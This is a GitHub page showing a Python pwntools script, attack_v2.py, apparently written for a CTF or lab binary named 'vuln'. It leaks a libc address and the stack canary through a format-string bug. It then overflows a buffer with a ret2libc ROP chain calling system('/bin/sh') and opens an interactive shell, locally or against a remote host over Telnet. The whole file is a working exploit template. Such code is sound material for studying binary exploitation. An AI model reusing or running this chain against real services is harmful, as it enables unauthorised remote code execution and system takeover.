-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattack_v2.py
More file actions
60 lines (51 loc) · 1.52 KB
/
attack_v2.py
File metadata and controls
60 lines (51 loc) · 1.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python
from pwn import *
from telnetlib import Telnet
shift_pie = 0x0#0x56b0
shift_libc = 0x114A37
canary_offset = 24 # è l'offset dal SECONDO input, occhio!
ret_offset = 8
pop_rdi = 0x000000000002a3e5
ret = 0x0000000000029cd6
network = False
io = None
write = None
receive = None
if network:
ip = input("[i] Enter target ip (localhost): ") #ask target ip
ip = ip.strip()
if not ip:
ip = 'localhost' #default target ip
port = input("[i] Enter target port (5555): ") #ask target port
port = port.strip()
if not port:
port = 5555 #default target port
print("[i] Connecting to server")
io = Telnet(ip, int(port))
write = io.write
receive = lambda: io.read_until(b'\n')
else:
e = ELF('vuln')
io = e.process()
write = io.sendline
receive = io.recvline
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
write(b'%3$lx-%11$lx')
receive()
leak = receive()
libc.address = int(leak.strip().split(b'-')[0], 16) - shift_libc
canary = int(leak.strip().split(b'-')[1], 16)
log.info("Libc: %s" % hex(libc.address))
log.info("Canary: %s" % hex(canary))
# gdb.attach(io)
payload = flat(
b"A"*canary_offset,
canary,
b"B"*ret_offset,
libc.address + pop_rdi,
next(libc.search(b'/bin/sh')),
libc.address + ret,
libc.sym['system'],
endianness = 'little', word_size = 64, sign = False)
write(payload)
io.interactive()